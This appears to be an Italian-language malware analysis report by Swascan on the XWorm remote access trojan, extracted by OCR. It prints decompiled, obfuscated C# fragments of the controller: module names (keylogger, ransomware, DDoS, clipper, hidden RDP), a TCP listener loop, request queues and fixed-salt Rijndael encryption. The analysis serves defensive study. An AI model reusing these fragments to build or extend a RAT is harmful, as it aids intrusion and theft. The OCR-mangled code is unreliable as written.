KKK3EAK24EC414FB2F30F1A440D99EBF25. FlatStyle = FlatStyle.Flat;
KKK3EAK24EC414FB2F39F1A440D99EBF25. ForeColor = Color.White;
KKK3EAK24EC414FB2F39F1A449D99EBF25. Image = (Image)componentResourceManager.GetObject (<M
KKK3EAK24EC414FB2F39F1A449D99EBF25. ImageAlign = ContentAlignment.tiddleleft;
KKK3EAK24EC414FB2F39F1A449D99EBF25. Location = new Point(65, 93);
KKK3EAK24EC414FB2F39F1A440D99EBF25 . Name = <Module>.B6BGAE@IDDIF631EAF35C10CAB50836C (<Mo
KKK3EAK24EC414FB2F39F1A440D99EBF25.51ze = new Size(265, 27);
KKK3EAK24EC414FB2F39F1A449D99EBF25. TabIndex = 23;
KKK3EAK24EC414FB2F39F1A449D99EBF25. Text = <Module>.B6BGAE@IDDIF631EAF35C1OCABSAB36L( Mot
KKK3EAK24EC414FB2F 30F LA440D99EBF25. UseVisualStyleBackColor = true;
TDED2@4617654444044A05E2TF5123EF37. AutoSize = true;
TDED284617654444D44A95E2TF5123EF37. ForeColor = Color.White;
TDED284617654444044A95E2TF5123EF37. Location = new Point(25, 75);
TDED284617654444D44A95E2TF5123EF37 . Name = <Module>.B6BGAEAIDDIF631EAF35C10CAB50836C(<Mo
TDED284617654444D44A95E2TF5123EF37.51ze = new Size(34, 13);
TDED284617654444D44A95E2TF5123EF37. TabIndex = 21;
TDED284617654444D44A05E2TF5123EF37. Text = <Module> . B6BGAE@IDDIF631EAF35C10CABSOB36C( <Mot
T21EEC986BBAREBSD7FCB2ED@46A2T2B15. BackColor = Color.Black;
T21EEC98688AREB5D7FCB2ED@46A2T2B15. ForeColor = Color.White;
T21EECOB6RBAPEBSD7FCB2EDA46A2T2B15. Location = new Point(65, 72);
T21EEC9860BAPEB507FCB2EDA46A2T2B15. Name = <Module>.B6B6AE@IDDIF631EAF35C1OCABSAB36C( <Mt
T21EEC98600AB88507FCB2EDB46A2T2015.5ize = new Size(265, 28);
T21EEC9B68BAPEBSD7FCB2EDA46A2T2B15. TabIndex = 24;
D952B8D6C1DBCF7D292EDEBAF7D2FC6235. BackColor = Color.Black;
D952B8D6C1DECF7D292EDEBAF7D2FC6235. Borderstyle = BorderStyle.None;

base.AutoScaleDimensions = new SizeF(6f, 13f);

base.AutoScaleMode = AutoScaleMode.Font;

BackColor = Color.Black;

base.ClientSize = new Size(422, 256);
base.Controls.Add(DAB47374C82074C25BACT3DDEDETICLT31);

base.Icon = (Icon)componentRescurceManager.GetObject(<Module>. B6BGAE@IDDIF631EAF35C10CAE
base.Name = <Module:.B6BRAE@IDDIF631EAF35C10CABS@836L(<Module: . BE994DE923ADABTBSAFCC1BAE
Text = <Mcdule>.B6BGAE@IDDIF631EAF35C10CABS@836L (<Moduler . BE994DE923AD4B7BS4FCC1BAGBFEGF
D26F9DBIE9LIFODI218312F1FFEFDDCFES4. Resumelayout (performLayout: false);

ResumeLayout (performLayout: false);

}

private void A2FACTFIDC3I2D6510COCCI7DT67ATDIA37 (object sender, EventArgs e)

AASDEC5314A49344AABFFOFAST2DETBB23();
h

public void AASDBC5314A49344AABFFOFAST2DET8B33()
byte[] e54817479A2715C14734CADB7F3888C = Helper.A31427B17791772FAS0D35F90DAGF5B034( <ModL
Outcoming_Requests item = new Outcoming Requests(EBF12F@FDD8B6B7DD9633A3DFOA23(BB26, e5¢
Pending.Req_Out.Add(item);

}

private void AB743104F7BFABA4CDAGEOFBECAF41B416(cbject sender, EventArgs e)

try

if (!EBF12F@FDDEBEBFDDO633A3DFEA23CBE26.RD34R7704B618868FBREGIIEF217CIIE2T)
{

Close();
}
}
catch (Exception ex)
{

ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.Writeline(ex2.Message);
ProjectData.ClearProjectError();
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Assemblies - 1 m
A

+ %3 Chat public static List<Client> Clients = new List<Client>();
+ % CheckPort
+ % CircularProgressBar private virtual GroupBox VBEELE7V@AFFBS4EBVVVCBDOAZACBBBEE638
+ %, ClassB *
+ %z Client . .
private virtual GroupBox VWB3EV1VC@DBE31EFA7@VEEBCD2V666336
+ *z Clipboard ¥
+ %3 Clipper
+ ¥z CustomOpen private virtual Label FB16BB6FGDBFFEDB883127227AAADSET1Y
£33 DDosAttack +
+ *z Downloader
+ %z EditReg private virtual Label FB1615A14AF2123267DAAAF52F178D8729
+ 2od
+ *z FileSeacher
+ “& Find private virtual TextBox A46E734ECDD1CSF182E846@F6C7AELGE3S
¥ M ¥
+ %z Formi
+ %2 Form2 private virtual GroupBox ACFI98BEBFOA7C24D79676DEFCTBIABI2E
+ % Fp =
+ %z Fun [CompilerGenerated]
+ %2 GClassD 1 %et
+ 2 Gllassl return EC4F51C7BBEEDBFCDETIABSCIAAGI68923;
+ * GeolP }
#- %% Helper [CompilerGenerated]
+ %z HRDP set
+ *z |conChanger = i
E Iconlnjector EC4F51C7BBAEDBFCDE7IAG5CIAAGI68523 = value;
+ *z Incoming_Requests i
+ %z INFO i
+ ‘& Keylogger private virtual Label CE1BBA367111D@6D66A1916ES34E737236
= ¥z ListviewDoubleBuffer +
+ % Base Types
+ & Derived Types private virtual Label DBAC29C7D1C854563AAEB77C@2EEA33934
) ListviewDoubleBuffer() [+
P BIBCOB2F1533DA4943B74374F91C . .
vty private virtual TextBox KAAKSC1S5FBACEDKAE4K740414150E64525
+ 2ad
+ *z Maps ~
Assemblies A Bl EditReg
*z Chat ~ [CompilerGenerated]
#z CheckPort [AccessedThroughProperty("TextBox3")]

#z CircularProgressBar private TextBox CBCSIIAFBD5684895A6E546CES75387B15;

*
‘; E:a [AccessedThroughProperty( "Buttonl™)]
ent [CompilerGenerated]
‘iz Clipboard private Button P63FP4D9ABS7DDB6P3PES718ERCCIS5834;
*z Clipper
#z CustomOpen [AccessedThroughProperty(“Label3™)]
*z DDosAttack [CompilerGenerated]
#: Downloader private Label XISE396A918694736CBED46XCEXF32C922;

%
*3 FileSeacher
*z Find
2 Fm
*3 Form1 internal virtusl Panel BSBEE33F3CC9A2DCABB9B977FF7AIABLI3
*z Form2 +
*z Fip
* Fun internal virtual Label OBCDFEED1DD96ES6CAG6FBI708C47B88027
*z GClassD —
*3 GClass1
*z GeolP 4
*% Helper
*z HRDP internal virtual TextBex DE95C9@AD31E6CB@66B7CEBBFD3LEVEDLG
#3 lconChanger +
*z lconlnjector
#z Incoming_Requests
*z INFO
‘= Keylogger internal virtusl Button D6@SDIDCIFCAF26B3523AE3C7B19486339
- %z ListviewDoubleBuffer +
+ % Base Types
+ & Derived Types internal virtual Label HC2F48HBB2HEAAB4699C47BC639E43A239
@ ListviewDoubleBuffer() + o
D BOBCOB2F1533DA4043B74374F91C
& 1y public EditReg()

+ ¥z Maps v

public Client X67812797E9AB94XBASFIDEECBIAR41431;

public string X9C78611EDSBBBAG4CDG3I7IFX531450319;

internal virtual ComboBox OASFBD2E398FABCCI3D773092DF8954534

internal virtual TextBox E3BES75CBE7211DE781DEGE@9I1SAFAB3L

B L T S e . S L e T S .

™
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FileSeacher

[CompilerGenerated]
private Panel N37B26F9NSN7ASIN4INC68672A9C9B1919;

[CompilerGenerated]
[AccessedThroughProperty(“Label2")]
private Label A36927975EDF2821F848F9F23AD7A47F32;

[AccessedThroughProperty (“"NumericUpDownl™)]
[CompilerGenerated]
private NumericUpDown JJ61228887JACSCEBADAADSBIF9J2A65934;

[CompilerGenerated]
[AccessedThroughProperty(“Labell™)]
private Label R9DB9D394FIS76D7FR7BAB40B4816B3728;

[CompilerGenerated]
[AccessedThroughProperty ("Buttonl")]
private Button RFFRA91B282C2RI13BC4GAEFIIREACS41S;

[AccessedThroughProperty("ToolStripStatuslabell™)]
[CompilerGenerated]

private TooclStripStatuslabel RISCFDC36E9FS@199831A5885R1EOZ9E24;
[AccessedThroughProperty ("Statusstripl™)]

[CompilerGenerated]

private StatusStrip C779F7CC7982FE92C(B449696249013038;
[CompilerGenerated]

[AccessedThroughProperty ("Timerl™)]

private Timer C79726FBC554B2CDC26CEDF27366738B15;

public Client W82B3DESFFBE7ICW26ADTWWIB689E34629;

internal virtual ListBox HAGCDFBA3497278ECS5243A7B3D877HHI22

internal virtual ContextMenuStrip D464A474F1FB26EGBD7ASGE364A26174629

Qui i riferimenti agli oggetti di download ed execution sopra menzionati:

={
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private IContainer TTTDAISEE7DISE4BEFETDOCEASBTTOC52E;

[CompilerGenerated]
[AccessedThroughProperty(“StatusStripl™)]
private StatusStrip T@6BBDIZBEBTA2A281C47CIBD7A7FB17228;

[CompilerGenerated]
[AccessedThroughProperty(“Teolstripstatuslabell™)]
private ToolStripStatuslabel FF45D74547CB84158465E60AATAFAFF322;

[CompilerGenerated]
[AccessedThroughProperty("ClientMenu™)]
private ContextMenuStrip DACB4AC4D2FE4919AEF7AB443D2FC16734;

[CompilerGenerated]
[AccessedThroughProperty (" DownloadAndExecuteToolStripMenultem™) ]
private ToolStripMenultem D422F95D5DDCEAF28206212938B3615C29;

[CompilerGenerated]
[AccessedThroughProperty (" RemoteDesktopToolStripMenultem”™)]
private ToolStripMenultem B41E@FEC8177D916A7588D8E59CIDB5733;

[CompilerGenerated]
[AccessedThroughProperty("CLIENTToolStripMenultem”)]
private ToolStripMenultem BAAFBCBBOGE738F27EDDAEIBBAB2I57F26;

[CompilerGenerated]
[AccessedThroughProperty("CLOSEToolStripMenultem”)]]
private TocolStripMenultem I92D89593D1F3DC68205F26C0IFFBI9A30;

[AccessedThroughProperty ("UPDATEToolStripMenuItem”)]
[CompilerGenerated]
private ToolStripMenultem IDTIAE427DFIBEAS3647799DBCDF11IS917;

[AccessedThroughProperty (" Timer_Ping")]
[CompilerGenerated]
private System.Windows.Forms.Timer R72818FASRIZR6ER7ACSD4259BCC5962928;
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[AccessedThroughProperty(“FileSeacherToolStripMenuItem™)]
[CompilerGenerated]
private ToolStripMenultem F67F5FE76215C2A1980F2EC74D9915B322;

[AccessedThroughProperty ("Extra2ToolStripMenultem”)]
[CompilerGenerated]
private ToolStripMenuItem QID9QBQBSESIFA2573FFAS9BA7RCDITB28;

[CompilerGenerated]
[AccessedThroughProperty ("RansomwareToolStripMenultem”)]
private ToolStripMenultem QBF4030Q7DDDAD3696309B95E17FE2BFA24;

[CompilerGenerated]
[AccessedThroughProperty ("EncryptToolstripMenuItem”)]
private ToolStripMenuItem MMB3D5B258DE74EBDSSF7M37C26D5MF516;

[CompilerGenerated]
[AccessedThroughProperty("DecryptToelstripMenuItem”)]
private ToolStripMenultem M254CMM33624928203242CEENCDSF4MB28;

[CompilerGenerated]
[AccessedThroughProperty("NgrokToolStripMenultem”)]
private ToolStripMenultem VABVVEDCB@AAFB6BADS480C24EEFDICE2E;

[CompilerGenerated]
[AccessedThroughProperty ("HRDPToolStripMenultem”)]
private ToolStripMenultem V@IBE2VVI4G@EGD2FEVABI1448B826283024;

[CompilerGenerated]
[AccessedThroughProperty("MethodlToelStripMenuItem”)]
private ToolStripMenultem F4FAS4BIB4D2179FAF5IDB8CFFBISB6E2G;

[CompilerGenerated]
[AccessedThroughProperty(“RecoveryManagerToolStripMenuItem”)]
private ToolStripMenultem R3SE@CADZCIERE98495A6AIAI6R2344939;

[CompilerGenerated]
[AccessedThroughProperty ("ToolstripstatusiLabel2™)]
private ToolStripStatusLabel REC5AS@D3IA1D6AS9E489A6CESADFIABF2I;

[DesignerGenerated]
public class Ftp : Form
H{

private IContainer O80CFBEI435A2E@B9D108070802DEG2238;

[CompilerGenerated]
[AccessedThroughProperty ("numericUpDownl™ )]
private NumericUpDown DECBF7832381DA11CD9743C37B4634B8C17;

[CompilerGenerated]
[AccessedThroughProperty ("textBox3")]
private TextBox XABABSD6S7IF486AD5SDDO7FR581X36FD22;

[CompilerGenerated]
[AccessedThroughProperty ("textBox2")]
private TextBox HBFEBB9AEIFAH337EBBIB9F2043B@1B832;

[CompilerGenerated]
[AccessedThroughProperty (“textBox1")]
private TextBox H24HBECO5AA53DHAAFBCS46550021E3627;

[CompilerGenerated]
[AccessedThroughProperty(“labela™)]
private Label C37BFE20A4CEDF5152848FEDFCSB3IF9C31;

[AccessedThroughProperty(“label3™)]
[CompilerGenerated]
private Label BD37C3273F836F92537850092AAB858334;

[CompilerGenerated]
[AccessedThroughProperty(“label2™)]
private Label D5B147590541542EC355FCOCADIDFDCDIE;

[CompilerGenerated]
[AccessedThroughProperty(“labell™)]
private Label CID32EBAF999A18F36BBIF1ESEFESDBA3S;

[AccessedThroughProperty("buttonl”)]
[CompilerGenerated]
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All'interno della classe GClassO vi sono esecuzioni di connessioni TCP mediante oggetti
TcpListener e TcpClient, all'interno del metodo di inizializzazione c'e un attributo di
IPAddress.Any:

// XWorm.GClass@
+using ...

public class GClass@
i private static TcplListener tcplistener @;
private string C7@A5BCIDEBCDE623CEIS58247BFD9D7433;
public string D89S74DC3943BAA6BCE7C444DADACA2S528;
public TcpClient M4DC@ISM2ZFEANDEA37EAZBI3ASAFABCALT;
public Tcpllient M7ISCAGI88MIFIIS7ABMMABMEISBI2FI27;

private static bool boel 8;

public GClass@(int FDDGEFSFED935BED3EF136DCSFE797EF30, string AGS7ABCACO437DDABCISBCIDED2ESC

- {
bool_@ = true;
try
{
DEIS74DC3943BAA6BCE 7 C444DADACAZ528 = BEBSBCASASBDYLIE2706B32EEES4TE7BE33;
tcplistener_@ = new TcpListener(IPAddress.Any, FDD6EFSFED935B@DBEF136DCSFE797EF38);
teplistener_@.5tart(20);
CFBASBCIDEECD623CEIS58247BFD807433 = ABBTABCBC94537DDABCI5BCIDGD2ESCS232;
Thread thread = new Thread(SA83C1EAS34CS4COEGFFDDOAABCSE3A428)
thread.Start();
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
CAG2C787C3D514BB1EB37619DES96C1332();
ProjectData.ClearProjectError();
}
}

private void SA83C1EAS34CS4COEGFFDDOAAGCSE3A428()

www.swascan.com | info@swascan.com




Swasean

TINEXTA GROUP

A seguire un costrutto try-catch, in primo luogo, per lo stopping dell’'esecuzione dell'oggetto
teplistener e, consequenzialmente, un ciclo while true per I'esecuzione della funzione di
connessione TCP AcceptTcpClient().

public static wvoid D4DACDS7B16DDCTB4919548C22D1FFAT28()

- 1
try
i
teplistener.Stop();
thread?.Abort();
catch (Exception projectError)
1
ProjectData.SetProjectError(projectError);
Projectlata.ClearProjectError();
}
h
private void X29FXE3AB4F618B55BCFCA1FE2C37BAA21()
- 1
while (true)
i
try
1
TcpClient parameter = tcplistener.AcceptTcpClient();
Thread thread = new Thread(I1EDFD34AF41626213C22A162472525638);
thread.Start(parameter);
Thread.Sleep(5@);
}
catch (Exception projectError)
1
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
¥
I
h
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La classe Client possiede il costruttore che richiede come argomento in input un oggetto
Socket:

=k

public delegate woid _isDisconnected();

public Socket F38A2FB31BBDASESIEAB4356F3C94FFI31;
public bool RD34R7784B5618868FAREASS8F217CS9E27;

public long C93D5BB7ECF2A63EGF4498148FEBDIRD2E;

public bool C48CEERSDSF338B1CCFEDBIDESADACF329;

public byte[] WES29DBF69EFAN3BDCSC469CD4C962AB38;
public MemoryStream WO3BAAB37BF5748CFA750ESAB23ECORS37;
public string GF1@3DBCR53GEGEF572C6FF752C18F4427;
public ListViewItem E232941DEFGEF3CFO542EOBDFEAD2GES3T;
public object A7I4CSEIFF832429F610C85107BCEL9821;
public string CIAIB2489C5B2E63476FFFA97470035333;
public Client(Socket LA2DS7CBB9CBBFB59D8D248FL46DE45538)

[AsyncStateMachine(typeof(VBEStateMachine 11 BeginReceiwve))]
public void OCA2AS2EADFDDSBDAEG19B810FC2579A25(IAsyncResult B797C850000F 2660233DF7C0CO77CCAL

public void F984BOFR6352D15BO9FDFIFCOSES69AB36(byte]] HA26688A3773730002HDF728@HAEDS4830)
public void W2952D28DB4ASSBSFOA4C4B3B89ABBAE23(IAsyncResult DEE3EAAGBBSCALYBET1233B4431753A]1

public void W4CB3C186199DD1A48DAASANIWF2D94228( )
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La classe GeolP contiene arrays di tipo string contenti i dettagli dei vari countries.

// XWorm.GeoIP
+ using |...

public class GeoIP

T public MemoryStream FBIC62F23D3C87CEAIZSF41ABDE2ES2223;
public static long CountryBegin = 16776968L;
public static string[] CountryNome = new string[253]

+ o ali
public static string[] CountryCode = new string[254]

+ .

public static string[] CountryNump = new string[255]
- 1
<Module>.B6BGAE@IDDIF631EAF35C10CABS0B36C
<Module>.B6BGAE@IDDIF631EAF35C10CABS0B36C
<Module>.B6BGAE@IDDIF631EAF35C10CABS0B36C
<Module>.B6BAAEGIDDIF631EAF35C10CABS0836C
<Module>.B6BAAEGIDDIF631EAF35C10CABS0836C
<Module>.B6BAAEGIDDIF631EAF35C10CABS0836C

<Module>. BE994DE923ADABTB54F CC1BAGBFEBAST ( <Mot
<Module>. BE994DE923ADABTB54F CC1BAGBFEBAST ( <Mot
<Module>. BE994DE923ADABTB54F CC1BAGBFEBAST (<Mot
<Module>. BE994DE923ADABTB54F CC1BAGBFERAST ( <Mo:
<Module>. BE994DE923ADABTB54F CC1BAGBFERAST ( <Mo:
<Module>. BE994DE923ADABTB54F CC1BAGBFERAST ( <Mo:
<Module>.B6BGAEAIDDIF631EAF35C10CAB50836C (<Module > . BES94DEI23ADABTB54F CCABABBFEGAST ([ <Mot
<Module>.B6BGAEAIDDIF631EAF35C10CAB50836C (<Module > . BES94DEI23ADABTB54F CCABABBFEGAST ([ <Mot
<Module>.B6BGAEAIDDIF631EAF35C10CAB50836C (<Module > . BES94DEI23ADABTB54F CCABABBFEGAST ([ <Mot
<Module> . B6BGAEGIDDIF631EAF35C10CABS0836C ( <Module> . BES94DEI23ADABTBSAFCCIBABGBFEGAST ( <Moc
<Module’ . B6BGAEBIDDIF631EAF35C10CABSO836C ( <Module . BE99ADEI23ADABTBSAFCCIBABBFEGAS T ( <Moc
<Module’ . B6BGAEBIDDIF631EAF35C10CABSO836C ( <Module . BE99ADEI23ADABTBSAFCCIBABBFEGAS T ( <Moc
<Module’ . B6BGAEBIDDIF631EAF35C10CABSO836C ( <Module . BE99ADEI23ADABTBSAFCCIBABBFEGAS T ( <Moc
<Module’. B6BGAEBIDDIF631EAF35C10CABSO836C (<Module> . BE99ADEI23ADABTBSAFCCIBABBFEGAS T ( <Moc
<Module>.B6BAAEAIDDIF631EAF35C10CA850836C (<Module > . BE994DE923ADABTB54F CC1BABBFEBAST ( <Moc
<Module>.B6BAAEAIDDIF631EAF35C10CA850836C (<Module > . BE994DE923ADABTB54F CC1BABBFEBAST ( <Moc
<Module>.B6BAAEAIDDIF631EAF35C10CA850836C (<Module > . BE994DE923ADABTB54F CC1BABBFEBAST ( <Moc
<Module>.B6B6AEAIDDIF631EAF35C10CAB50836C (<Module >, BE994DE923ADABTB54F CC1BAGBFEBAST ([ <Mot
<Module>.B6B6AEAIDDIF631EAF35C10CAB50836C (<Module >, BE994DE923ADABTB54F CC1BAGBFEBAST ([ <Mot

(

(

(

Sy

<Module>.B6B6AEAIDDIF631EAF35C10CAB50836C (<Module >, BE994DE923ADABTB54F CC1BAGBFEBAST ([ <Mot
<Module> . BEBGAERIDDIF631EAF35C10CAB50836C (<Module > BE994DE923AD4BTB54F CC1BAGBFEBAST ([ <Mot
<Module> . BEBAAERIDDIF631EAF35C10CAB50836C (<Module > BE994DEI23ADABTB54F CCABABBFEGAST | <Mot
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A seguire i dettagli di alcuni metodi private void di event handling della classe HRDP che
effettuano la comparazione di attributi .Text e vengono gestite le outcoming requests e
I'aggiunta di oggetti di tipo requests nella lista delle richieste in pending.

private void A16BEES17C60489DACABATET272A61C131(cbject sender, EventArgs e)
- i
h

private void C97ES523DA734BEAEEB9D9B201CBCD46117 (cbject sender, EventArgs e)

if (Operators.CompareString(T44864B92T48ATETATFE4ATIEAGF24ED37. Text, <Module>.B686AE@IDL

{
T44864B92T48ATETATFE4ATIEAGF24ED37 . Text = <Module>. BEBGAEAIDDIF631EAF35C10CABSOB36C(
T44864B92 TABATETATFEAATIEAGF 24ED3Y . Image = Resources.L5DLOFESDCS519E2D2ESCDFFABEFBS]
byte[] e54817479A2715C14734CADE7F3888C = Helper.A31427B17791772FASOD35F90DAGF5BO34(«
Outcoming Requests item = new Outcoming_Requests(U4F74EF3071C09U3E7DIU77DAU4DDE3U23,
Pending.Req Out.Add(item);

}

else

{
T44864B92T4BATETATFE4ATIEAGF24ED37. Text = <Moduler. B6BGAEAIDDIF631EAF3ISCIOCABSAB36C
T44864B92 TABATETATFEAATIEABF 24ED3Y . Image = Resources.JEGEDCE3BBEAST3BABELDSTBIAFIFTE
byte[] e54817479A2715C14734CADB7F3880C2 = Helper.A31427B17791772FASOD35F90DAGF5B034(
Outcoming Requests item2 = new Outcoming_Requests (U4F74EF3071C09U3E7D1UT7DAU4DDE3L2:
Pending.Req Out.Add{item2);

}

}
private void C9691D1E7AGF4936F37536B049A4655029 (cbject sender, EventArgs e)
= {

try

{
if (U4F74EF2071CESU3EFDIUZ7D4U4DDEZU23 . RD34R7704B618868F BREOSIBF2I7CIDERT)

Close();

i

catch (Exception ex)

{

ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();
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A seguire la classe Iconinjector che permette di effettuare un’injection della directory
(CONDIRENTRY mediante il metodo Buffer.BlockCopy:

Iconlnjector
private class IconFile ’

= {

private ICONDIR C4BADBC4AEZEISDEZFCOCFO14967872C26;

private ICONDIRENTRY[] X3F8CBFBARGTXI5@CAISIEXIIS7XEBC4626;

private byte[][] XFFEIFBODXDF3B3B8X4CFAAIBO44X4CE1E;

public int QP4165261BACDI4CBBE2SQBLEEQDELBS26 => (4BADBC4AE3EISDEZFCBCFRI4967672C26.045616¢
public byte[] BABE237008418D1F7@29FEE41BB1D6SDT21 => XFFEIFSGDXDF3BIB8X4CFAABB44X4C618[136]
private IconFile()

C4BADBC4AEIEISDEZFCOCFEI4967672C26 = default (ICONDIR);
}

public static IconFile A7S@3E7D750766(C25281B1FEFE81368738(string D3EBEB331F@ADAF11FE55A4B8(
- 1
IconFile iconFile = new IconFile();
byte[] array = File.ReadAllBytes(D3ESEB331FBADAF11F855A4B8C5A3BAALE);
GCHandle gCHandle = GCHandle.Alloc(array, GCHandleType.Pinned);
iconFile.C4BADBC4AEZEISDE2FCOCFO14967872C26 = (ICONDIR)Marshal.PtrToStructure(gCHandle.

{
iconFile.X3FBCBFEABG7XI5OCAIFIEXIIS7XBC4626 = new ICONDIRENTRY[ ((int)iconf
iconFile.XFFEIFBE0XDF3B368X4CFAASEG44X4C618 = new byte[ ((int)iconFile.C4B#
int num = Marshal.SizeOf((object)iconFile.C4BADBC4AEIEISDEZFCACFAI4967072C26);
Type typeFromHandle = typeof(ICONDIRENTRY);
int num2 = Marshal.SizeOf (typeFromHandle);

int num3 = ((int)iconFile.C4BADBC4AEZEIQDEIFCOCFOI4967B72C26. D45B1B6CAR51E
for (int i = @; i <= num3; i+)
1

ICONDIRENTRY iCONDIRENTRY = (ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(gCt
iconFile.X3FBCBFOABETXISOCAIS3EN3357XBC4626[1] = iCONDIRENTRY;
iconFile.XFFEIFBADXDF3B368X4CFAA98644X4C618[1] = new byte[ ICONDIRENTRY.B@30EB3E
Buffer.BlockCopy(array, 1CONDIRENTRY.FF6D16B66C3937FBF2979A8D7CE9@36123, iconFi
num += num2;

}

Incoming_Requests

// XWorm.Incoming_Requests
using XWorm;

public class Incoming_Requests
T public Client UZBDSUUBDDBBEO278DA28B440289C969C28;
public byte[] U22C88UC1686CF217E3D7FBE25972BBF33;
public Incoming_Requests(Client JJBJ193F73D98@8BE29]52083(70@085CF29, byte[] JBCI1BDEFE196DA3E

U3BDBLLABDDEEAZFBDB286448289C969C28 = J1BI193F73D98886E29]5283C7@985CF29;
W22CRBUCIBRECF2IFE3DFFREZ597266F33 = JBCI18DEFE196DAIBFETVDVS7596ABAES1G;
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A sequire alcuni oggetti tooltips, timers e menustrips della classe Keylogger:

Keylogger

[DesignerGenerated]
public class Keylogger : Form
=i
private IContainer C28EF3754710BFB8ICACE259667FDBEA12S;

[CompilerGenerated]
[AccessedThroughProperty("T1"}]
private RichTextBox I@6EDIA3ZIF33T99813I30EA474FF729424;

[CompilerGenerated]
[AccessedThroughProperty ("MenuStripl™)]
private MenuStrip RBSB45D53R38B8741687D574B2F40517621;

[AccessedThroughProperty("ToolStripMenuItem2™)]
[CompilerGenerated]
private ToclStripMenultem RCDA27DEI1584C3BB2CRI1685AF7FARIBZ29;

[AccessedThroughProperty ("TFind™} ]
[CompilerGenerated]
private TooclStripTextBox RCFRDEE3FEG77BDI18D3RBS7IR7RSREA1T;

[CompilerGenerated]
[AccessedThroughProperty( " ToolStripMenultem3™)]
private TooclStripMenultem EADS6I43FBDIICE253732E@EFREZEISD3E;

[AccessedThroughProperty ("ContextMenuStripl”)]
[CompilerGenerated]
private ContextMenuStrip D@E28C305CBA239915C6D64194809EFE35;

[AccessedThroughProperty ("CopyToolStripMenuItem™) ]
[CompilerGenerated]
private TooclStripMenultem WBABSAFWB2559DCSFD27E93ERAD2BDINIS;

[AccessedThroughProperty("SelectAllToolStripMenultem™ )]
[CompilerGenerated]
private TooclStripMenultem WO796D1A4IDICCEFFR3IBCF44BIDBEFNAZE;

[CompilerGenerated]
[AccessedThroughProperty (" Timerl")]
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La classe MIC permette di gestire le requests in event handling, come avviene per la classe
HRDP:

+

private void F248B@8792D7FAC16B50267DOAOG3DEA2135(cbject sender, EventArgs e)

OOFB3D3BCDF2D0C2382ADS6497EF1E7730. PerformClick();

}
private void D893BDBEGF1AC25BOCF35438A4(7669836(chject sender, EventArgs e)
- 1
try
1
if (Operators.CompareString(00FB3D3BCDF2D0C2382AD56497EF1B7738. Text, <Module:.B6BGAL
byte[] e54817479A2715C14734CADB7F3888C = Helper.A31427B17791772FAS0D35F90DAGF5B(
Outcoming_Regquests item = new Outcoming_Requests(C3ASAB6DD5563386ABB82BB3C46947
Pending.Req Out.Add(item);
00FB3D3BCDF2D0C2382AD56497EF1B77308. Text = <Module>.BA8AAEGIDDIF631EAF35C10CARSGE
Q0OFB3D3BCOF2D0C2382AD56497EF1BY738.Image = Resources. L5DL9FESDCS519E2D2ESCDFF4BE
h
else
{
byte[] e5481747942715C14734CADB7F3880C2 = Helper.A31427B17791772FAS0D35F90DAGFSE
Outcoming_Reguests item2 = new Outcoming_Requests(C3A5A86DD5563386ABB82BB3C4694)
Pending.Req_Out.Add(item2);
00FB3D3BCDF2D0C2382AD56497EF1B77308. Text = <Module>.BA8AAEGIDDIF631EAF35C10CARSGE
00FB3D3ECDF2D0C2382AD56497EF1E77308.Image = Resources. JEGGDCB3B@60973BABELDSTEIAR
h
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();
b
}
private void DDD4C@31818FBEAD22EF2368316B815F17(cbject sender, EventhArgs e)
< 1

Outcoming_Requests

// XwWorm.Outcoming_Requests
using XWorm;

public class Outcoming_Requests

=q{
public Client D7G@I8EEGAEIG7CAFESS49011ERBA2BE1S;
public byte[] E2C3BEG2BC34B6CDAGE4EBDIE487DFC339;
public Outcoming_Requests(Client E7AGAF2D442BB27DRO9658F46198424C21, byte[] E54817479A2715(1
D7Be986E6AESI67CAFESS49DIIERRAZB615 = ETABAF2D442B627D899658F 46198424021 ;
E2C3BE@2BC34B6CDAGE4EBDIE4B7DFC339 = ES48174709A2715C14734CADETF3IE8BC43a;
}
¥
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La classe Pending permette di inserire svuotare la List di Incoming_Requests all'interno di un
costrutto try-catch innestato in un ciclo while(true), la medesima esecuzione viene fatta anche
per la List outcoming_Requests:

// Xworm.Pending
#define DEBUG
+using ...

public class Pending

public static List<Incoming_Requests:> Req_In;
public static List<Outcoming Requests: Req Out;
public static void VW11F1162F6DB76082V5023D7E4AG10C26( )

while (true)

{
try
1
Incoming_Requests incoming_Requests = null;
if (Reqg In.Count > @)
incoming_Requests = Req In[@];
Messages.V5811FC210EA45D8@9YV52CDO1D2B501E27 (incoming_Requests.U3BDEUUEDDEEA:
Req_In.Remove(incoming_Requests);
Thread.Sleep(1);
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.Writeline(<Module:. BEBGAERIDDIF631EAF35C10CAR50836(C ( <Module . BEQQ4ADES23ADL
ProjectData.ClearProjectError();
h
}

public static wvoid F518@7FCAS181CCAFCEE9SAASABAB12223()

while (true)

{
try
{
Outcoming_Requests outcoming_Requests = null;
if (Req Out.Count > @)
outcoming_Requests = Req Out[@];
outcoming_Requests.D7BES86E6AE367CAFESS49D11E8RAZB615 . FO04BOF66352015BA9FDFS
Req_Out.Remove(outcoming_Requests);
Thread.Sleep(1);
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.Writeline(<Module: . BESGAE@IDDIFE31EAF3SC10CAB50836C (<Module: . BEOOADEI23ADL
ProjectData.ClearProjectError();
h
}
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All'interno della classe Port vi sono tasks di encryption con metodo RijndaelManaged:

catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
object result = Convert.ToBoolean(RuntimeHelpers.GetObjectValue(VOBA927848EB6F4(
ProjectData.ClearProjectError();
return result;

¥

public static cbject VOBA927848EB6FACECTVE2VOBC23110F17(string D3D4BCO7DCEDDCE1T783A429EDDECS
= i
RijndaslManaged rijndaelManaged = new RijndaelManaged();
byte[] salt = new byte[8] { 1, 2, 3, 4, 5, 6, 7, 8 };
Rfc28980eriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Rescurces.C@441C38BB932C4
rijndaelManaged.key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length);
